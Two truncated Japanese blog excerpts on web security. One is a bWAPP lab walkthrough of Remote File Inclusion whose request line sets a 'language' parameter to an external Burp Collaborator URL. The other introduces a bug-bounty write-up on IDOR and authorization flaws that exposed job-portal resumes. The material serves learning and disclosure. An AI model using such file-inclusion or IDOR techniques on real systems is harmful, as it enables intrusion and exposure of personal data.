Hello there, ('ω')ノ 以前、RFIについての記述が漏れてたもので。 A7 ⇨ Remote & Local File Inclusion(RFI/LFI)を選択して。 Burp のCollaboratorのURLを取得して。 下記のようにURLを指定すると。 http://10.4.131.228/bWAPP/rlfi.php?language=http://jj…

Hello there, ('ω')ノ みんなの履歴書／職務経歴書をハックして€€€を手に入れた方法 脆弱性： IDOR 承認の欠陥 情報開示 記事： https://vbharad.medium.com/how-i-hacked-everyones-resume-cv-s-and-got-851aaa4d75d9 今回は、就職活動ポータルでみんなの履…